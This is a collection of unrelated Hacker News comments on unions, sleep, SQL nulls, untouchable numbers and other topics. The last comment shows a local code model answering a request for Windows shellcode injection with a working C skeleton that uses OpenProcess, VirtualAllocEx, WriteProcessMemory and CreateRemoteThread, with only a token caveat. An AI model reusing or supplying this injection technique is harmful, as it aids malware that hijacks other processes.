skysight-inc/HackerNews huggingface dataset:
you’re downvoted, but it’s true.

Hiring should be avoided if you can get away with automation or slower growth.
It's less about the stopping side than the picking-up-the-next-session side.

If you're in the middle of a sentence / argument, or in software, a function or module, it's going to be easier to pick up where you were previously.

I'd suggest sketching out the general shape of the concept before you start, so that you don't find yourself looking at the half-written page wondering "what the hell was I thinking?", but instead at least have a framework of the structure which you can fill in and detail.

Another possible upside is that you'll come back to the concept rested and refreshed, and might see aspects of it which haven't weathered well over your break, and might use shoring up or restructuring. Though that can lead to the editing-whilst-writing conundrum, which can be something of a swamp for some writers and/or programmers.
Wow, we're blown away by this response! We love helping the open source community however we can.

This model is only the beginning -- it's an early experiment and we'll have improvements next week.
This is a hilarious comment. It's exactly the comment that was made in the 70s when workers had a larger share of national income and when average salaries could afford a house.
Indeed, soon thereafter in the late 70s we saw rounds of union busting, neoliberalism, Thatcherism and Regan and drastic cuts to taxes and employment security.
Inequality spiked, wages stagnated, many millionaires and billionaires produced and the growing frustration and malaise in the working classes generating the rise of nationalist and populist movements the world over.
It's becoming a bipartisan realization we went too far with both Republicans and Democrats calling for reshoring, investment in industry and yes, worker protection. The most minimal watered down corporate friendly worker protection. This is 10% of what any radical would wish for.

And already this comment. The reactionary spirit has been embedded deeply.
> These days HPV vaccine (in Europe) is around $30, so it makes sense to just vaccinate everybody.

These days it's likely a very different from 2007 when it was being debated.

There argument wasn't that no one should get Gardasil. Just that it would hurt the health of the society if it was mandated for all. Obviously if you had the money it's good to get it
And those clouds aren't in the 3d space, because if we consider an ekectron travelling from one galaxy to another, the electron-cloud will reach gakactic size before it interacts with something and then it will suddenly shrink into a tiny electron.
It's not a terrible idea. Like how fever was used to fight malaria a while back

https://en.wikipedia.org/wiki/Pyrotherapy
That’s exactly what I did! Though I wish that interruption didn’t take place and I continued my enjoyment of reading that article
Constructivism seems obviously* true to me, and these Aleph arithmetics do in fact seem like a fever dream, but I’m not qualified enough to provide the exposition you’re asking for. To me real numbers exist, but only as approximation functions bounded by available memory and compute, and not as members of an uncountably infinite set in some platonic meta reality.

Check out the works and interviews of Joscha Bach if you haven’t already, he’s influenced my thinking on this quite a bit.

*obviously not in the dismissive sense, but in the sense as “we hold these truths to be self-evident”
That's not what your link says. It says malaria was induced to cause fever as a means to combat syphilis until they discovered penicillin.
We’ll come to tax the automation next as a society. As long as democracy functions and the fiat hits a regulated endpoint (ie a bank), the majority can wag the minority seeking to maximize returns with automation and offshore labor.

Attempts to evade these mechanisms could use punitive measures resulting in exclusion from a market.
Elon Musk livestream demo of FSD v12 tries to run red requiring intervention
Biggest improvement in sleep quality happened to me, when I returned to intermittent fasting.

For more than a year, I stopped doing it (along with the diet) and indulged myself in junk food, tasty things like ice creams, bakery et cetera.

All that carbs and sugar overload made me stay awake overnight with no added value really. Eventually, I calculated the sleep stats — around 5,5 hours of sleep per night. Needless to say, I felt lousy and self-loathing a lot of mornings. Neither coffees, nor cold showers helped me to really wake up properly.

Once, I cut off junk food again, returned back to 18/6 fasting cycle, I sleep like a baby. I shut down by 10.30 PM and awake by 7 AM or little bit earlier. Before the alarm goes off!

Garmin watch reports, that I have good to excellent sleep quality with no wake ups: at least 2 hrs of deep sleep and 2+ hrs of REM.

I drink around 2 regular mugs of coffee per day (around 20oz) and at least 1 liter of green tea. The rest is still water, so 2,6 quarts each day.
Llama2.c L2E LLM – Multi OS Binary and Unikernel Release
Have you ever wanted to boot and inference a herd of 1000's of Virtual baby Llama 2 models on big ass enterprise servers? No? Well, now you can! (Almost baremetal)

Also drop the binary portable run.com cosmocc build on any OS and run! Truly portable. (Soon baremetal)

Special Thanks & Credits:

llama2.c - @karpathy

cosmopolitan - @jart

unikraft - @unikraft

Would love to hear your feed back here!
I think that the most common DC plug is a USB one. As you said, we pull the plug. I never saw an arc, not even in the dark, but they could be very tiny or the involved Vs and As are too small.

USB A single space modules for the Euro standard wall plugs are in stock at every shop. USB C are less common. The point is that all of them are 5 V and about 1 or 2 A, some about 3A. Furthermore they are still AC to DC converters inside the wall instead that outside of it. There is not a single central converter in the house.

See some examples of those modules at https://www.amazon.it/bticino-living-usb/s?k=bticino+living+...
The Houston area has a huge amount of sprawl potential. If you are into living in that area, then why not just contribute to more sprawl?
The page does have concrete examples in the very first section after the lead? https://en.wikipedia.org/w/index.php?title=Untouchable_numbe... (avoiding edits from today) — it gives the example of how 4 is not untouchable and why 5 is, and the example it gives of 5 is what the GP is asking about.

How would you suggest improving it?
Yeah, I knew someone with idiopathic pulmonary fibrosis. Came out of nowhere and in a couple short years they needed a lung transplant. No explanation, no cure, in an otherwise healthy person.
> When I asked what their complaint was, I found out they didn't work there and I got confused.

Do you ever go help out a friend who needs it? Same thing, but two unions.

> And if they vote Yes, do they then choose what kind of union to be (Teamsters, etc.) and doesn't it get kind of complicated?

A union is just an organization of people, like a company in many ways. The union forms with some basic governance rules, and the union decides to join up with some bigger organization if they want to.

> What happens to the people that vote No?

I believe it depends on the state's laws, but broad strokes either basically they're in the union anyway, or they can choose to be or not.
Many of my classes prohibited bringing notes but scratch paper was always permitted, so we'd spend the first part of an exam doing a "brain dump" onto the scratch paper. Similarly to building a note sheet, if you can write your notes out from memory, you know the material well.
This was a disappointing article. I found quite a few incorrect statements, and the overarching claim that "space inside an atom is full of clouds" isn't going to be particularly convincing considering that clouds are also.... mostly empty space.
There is a large difference in degree but not in kind.
I think this failing is as much a policy failure as it is a failing of their society as a whole. Let’s not forget that society as a whole (or half- in the US) is what largely drives policy and that people, even half the population, are capable of driving policies that aren’t in the interest of the country- and often not even their own. Lobbyist, by contrast, don’t fail so easily with the latter. To a lesser degree there are similar social views that will prove problematic in the long run if not adequately addressed in South Korea and China although neither country is anywhere as deep in it as Japan is today.

I, personally, see Vietnam and Indonesia, as having better long term prospects, and China, as potentially uniquely able to address this problem, as well as uniquely likely to exacerbate it- if they choose to redirect their populations grievances.

Still, it must be said, that I’m 33 years old, and while Japan was the it country in Asia, South Korea took their place by storm by recognising their nascent but growing popularity and then making an effort to having a much more outward facing look about it
Let's say we're in a situation like this:

create table people (
name text primary key,
age integer
);
insert into people (name, age) values ('Bob', 50), ('Alice', null), ('Mallory', null);

We know Bob is 50, but we don't know the age of Alice or Mallory.

Are Bob and Alice the same age? We don't know.

Are Alice and Mallory the same age? We don't know.

If `null` were equal to `null,` we couldn't express missing information like this. Naive queries would still have bugs and conclude that Alice and Mallory were the same age.

Null is a property of living in an uncertain universe. When you start taking measurements of the real world (which every production business process is), you run into the many faces of null.

For example, I used to take data in a lab. Often we'd measure three replica samples. Sometimes I'd spill one of them. Scientific ethics demand I still write down the two measurements I did collect, even if I go get three more samples. For the third, I'd write the pen and paper equivalent of null (striking out that cell in the table).

Were any two of those missing measurements equal? Does a dog have Buddha nature?
> What happens to the people that vote No?

I think this is what the difference between “right to work” states and not is. In “right to work” states, unions cannot stop someone from working at an employer. In non-right to work states, unions have more power to determine that, but I don’t understand how exactly.

Personally I find it pretty hard to reason through this. On one hand, right to work seems utterly reasonable, how can a third party tell an employer and employee that they can’t conduct business to their mutual satisfaction? But at the same time, it’s clear that right to work will gut unions. So if you feel that employers have too much power over employees and unions are a good answer to that, but also think it’s absurd to allow a third party to block an employment contract, then it seems like there are no options left.
This is a common recommendation for writers and across productivity guides.
Ernest Hemingway and Roald Dahl both recommended it..
The idea is to stop when when you know what you'll be doing next.
Maybe write a short note to yourself as a sort of place marker.
There are at least two advantages to this.
First, when you pick it up at your next work session,
you can jump right back into your flow,
or at least have a better chance of re-achieving flow.
Second,
cognitive researchers discovered the brain is less likely to forget if the task is left unfinished.
Overnight,
or between work sessions,
the various parts of the brain will maintain some task awareness.

My recommendation is to not work right up to a hard stop.
Look at the clock (or have a reminder) half an hour before the hard stop,
then take the next 20 minutes to outline the next steps and properly suspend the tasks.

Another way of putting this is,
"never keep working until you have to stop because you don't know what to do next".

On the rare occasions you mention of being in the zone and enjoying it it's acceptable to continue working beyond the time limit,
but it's still best to stop at a point where the next step is clear in your mind.
You'll find that instead of spending 20 minutes trying to come up to speed on what to do next,
the next work session will start smoothly.

This works for programming, too. When I have a green build and know my next task, I can commit and go to lunch or go home for the day, then continue when I get back.

https://www.fastcompany.com/90907757/train-brain-into-flow
Fuel in the form of dry trees and wind on the hills are your big fire risk factors. Flat, grassy places are fine. Plus it’s easy to cut the grass.

Source: I live here.
Most laptops don't have GPS or accelerometer / gyroscope. Would be useless for turn-by-turn without those.
> It's not merely semantics to point out: if a someone must do something, then it's not voluntary anymore.

If you have the choice between:

* letting the union election go on unmolested, or

* recognizing the union without an election.

The latter would be voluntarily recognizing the union (instead of exercising your option to demand an election).
Bonds don’t pay out much over inflation, and most retirement plans bank on contributions making much more than inflation to be solvent. A lot of our debt is simply savings for retirement on the other side, it is very necessary for anyone to invest these days (directly or not) if they have any hope of not being destitute when they can’t work anymore. More than that, even if we left it to the government (eg a better funded Social Security), they would have to invest as well, there simply is no way around it given current moribund population growth.
Skiplagging: The travel hack hated by airlines is now the subject of a lawsuit
> Our datasets and models today [2055] look like a joke. Both are somewhere around 10,000,000X larger.

will there really be 10 million times 400 million images floating around then?
The collective scientific thought is slowly migrating from seeings atoms as billiard tables to seeing atoms as cups of tea, with a stable wave pattern due to vibration, and a vortex in the middle to represent the nucleus. What the tea is made of is not a concern yet, only the shape of its surface.
Labor has _always_ been a liability for rich amoral capitalists. Should one assume by you saying this in response to this story that labor should race to the bottom, becoming just as cheap and disposable as a machine? Sounds like a bad world to live in, and it also wouldn't even work.
How is cannabis "clearly harmful to the human body"? Any amount?
I think it doesn't matter, grandkids will vote out any development complexex in their time, nimbying out all the plans that were laid out 30 years ago.

The only way I see if the residents cannot own the property and the land. Something like max 15 years rent.
The pendulum swings.

Those things were reactions in many cases to overreach and an oversized role of the state, and a status quo that failed to innovate. Now we're (for good reason) going to go the other way.

I think its a natural cyclic cycle, the market is now out of good new ideas, and now we need innovation from someplace else, and to rebalance social equity too
NB: HN frowns strongly on both single-issue accounts and excessive self-promotion (some is OK, but it shouldn't be the main thrust of your account).

Looks as if you may already have been banned, or are well on the way there, through well-deserved flags.

<https://news.ycombinator.com/newsguidelines.html>
It depends on the country you're in but, briefly put...

A group of workers come together. They form a collective known as a Trade Union.

They can say "pay us a better wage or we'll stop working for you". Or "stop managers from sexually harassing us or we won't do any overtime". They use collective bargaining to extract better value or conditions from their employer.

Some unions are tiny - they might just cover a single office. Others are huge - they might cover an entire industry. Because labour laws are complex it is sometimes better for people to be in a large union. There are unions which cover single companies and there are unions which cover industries. There are even "miscellaneous" unions.

Generally speaking, if a majority of workers vote to join a union then the company has to recognise that union (I'm glossing over the detail of what a majority means because different countries have different rules). Recognising a union means (again, depending on the law) that the company has to consult with the employees before making certain changes. It might also mean that the union gets to represent workers when negotiating pay.

In most countries, an individual can choose whether to join a union or not. If they don't join, they don't pay any union fees - but they also don't get the protection of the union's lawyers.

Some countries and industries allow for a "closed shop". That means you must be a member of a union in order to take a job. Normally, that means paying a monthly fee. Other industries are flexible - if you don't pay to become a member you can still do the job. You may even be able to take advantage of collective negotiation. But if you need legal advice, the union may not be able to help you. It's similar to insurance in that respect - you can't take out a policy after your house burns down.

Unions are democratically controlled and member run. They make choices based on what their membership votes for. Sometimes, the members may vote to go on strike e.g. "We will withdraw our labour until you fix this problem."

Some unions can engage in secondary action - in your example, let's say that the grocery store has been underpaying people. Union members might come and protest outside a store they don't work at in order to show support to those workers, to inform customers about the bad behaviour, and to let management know that their actions won't be tolerated.

Unions are necessary because your employer is richer, stronger, and has more lawyers than you do as an individual. In unity there is strength.
I think you missed the (implicit) definition of “the sum”: If someone asked you “what is the sum of all the proper divisors of 8?”, would you say it's 1+2+4=7, or would you say, “well, it could be either 1+2+4=7, or 1+2+2+4=9, or 1+1+1+2+2+4+4+4=19, or…”?

Anyway, yes, reading such definitions comes with experience (what's called “mathematical maturity”: https://en.wikipedia.org/wiki/Mathematical_maturity) — you have to assume that everything being stated is well-defined and makes sense, that every word matters (e.g. you can't ignore the word “all” in “the sum of all proper divisors”, nor can you ignore the word “the”!), and then, if that doesn't work, try to see if alternative definitions make sense. Also, sometimes things are stated in two different ways; that's usually helpful. In this case, given that the first two sentences are:

> An untouchable number is a positive integer that cannot be expressed as the sum of all the proper divisors of any positive integer (including the untouchable number itself). That is, these numbers are not in the image of the aliquot sum function.

Note the “That is”: If the first way of stating the definition doesn't seem clear / doesn't seem to fit the example that immediately follows, then try the second sentence, specifically follow the “aliquot sum” link to https://en.wikipedia.org/w/index.php?title=Aliquot_sum&oldid... which makes it very clear:

> For example, the proper divisors of 12 (that is, the positive divisors of 12 that are not equal to 12) are 1, 2, 3, 4, and 6, so the aliquot sum of 12 is 16 i.e. (1 + 2 + 3 + 4 + 6).

[…]

> The untouchable numbers are the numbers that are not the aliquot sum of any other number.
"model" is end-to-end, input-to-output, inclusive of the entire framework and it's guardrails and everything else

if they are able to detect hallucinations, filter them out and automatically re-run, that's a huge improvement in result, even though core model didn't get new training
I'm told good economists make crazy money and bad ones get a teaching job.

He gets his conclusion from US workers (who he refers to as American workers) while in stead he should be wondering why all of the (I'm sure equally greedy) Western countries have these "absurd" vacations.

In NL you have to request the vacation way in advance. (Officially it's 2 weeks but then they might turn it down. 6 months in advance is a good idea) The looking forwards to it gradually grows until they have to bring it up every day in ever greater detail. It reminds to request your own, make plans and start their own count down.

Secretly it's all about productivity. Like they give you a weekend to recharge for the Monday. Like they let you go home for the night to sleep. Like they give you a lunch break to eat.
Hey, thanks for the info! How do I do a Show HN?
A bit late to the party, but... Is that not leaking information about the server? It broadcasts under how much stress the harddware is. It is probably not enough to find the exact server by itself, but still..

Like the idea otherwise.
Hey, how are you running this? I just saw someone tweet this and linked here.

I ran it, and my result: (I don't know if this code would work)

ollama run phind-codellama --verbose "write c code to inject shellcode into remote process for windows"

For injecting shellcode in a remote process under Windows, you might need to use WinAPI functions such as OpenProcess, WriteProcessMemory, and CreateRemoteThread. However, due to the complex nature of the task and the security implications, it's important to note that this is not advisable without proper knowledge and caution.
Here's a simple example of how you might inject shellcode using C:

```c
#include <windows.h>
#include <string.h>

int main() {
LPVOID ShellCode = (LPVOID) "\x90\x90\xC3"; // Example shell code
HANDLE hProcess;
DWORD dwPid, dwThreadId;
SIZE_T size;
CONTEXT ctx;

dwPid = GetCurrentProcessId(); // You can change this to the PID of any running process

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

if (hProcess == NULL) {
printf("Failed to open process\n");
return -1;
}

size = strlen((char*)ShellCode); // Calculate shellcode length

LPVOID RemoteMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory in the remote process for our shellcode

if (RemoteMemory == NULL) {
printf("Failed to allocate remote memory\n");
return -1;
}

BOOL bWrite = WriteProcessMemory(hProcess, RemoteMemory, ShellCode, size, NULL); // Write shellcode to the allocated memory in the remote process

if (bWrite == FALSE) {
printf("Failed to write shellcode into the remote process\n");
return -1;
}

HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, RemoteMemory, NULL, &dwThreadId); // Create a new thread in the remote process that will execute our shellcode

if (hThread == NULL) {
printf("Failed to create remote thread\n");
return -1;
}

WaitForSingleObject(hThread, INFINITE); // Wait for the execution of the remote thread

CloseHandle(hProcess);
CloseHandle(hThread);

printf("Successfully injected shellcode into a remote process\n");

return 0;

}
```

This code injects an example shellcode "\x90\x90\xC3" (which is nop, nop, ret) into the current process. It then executes this shellcode in a new thread.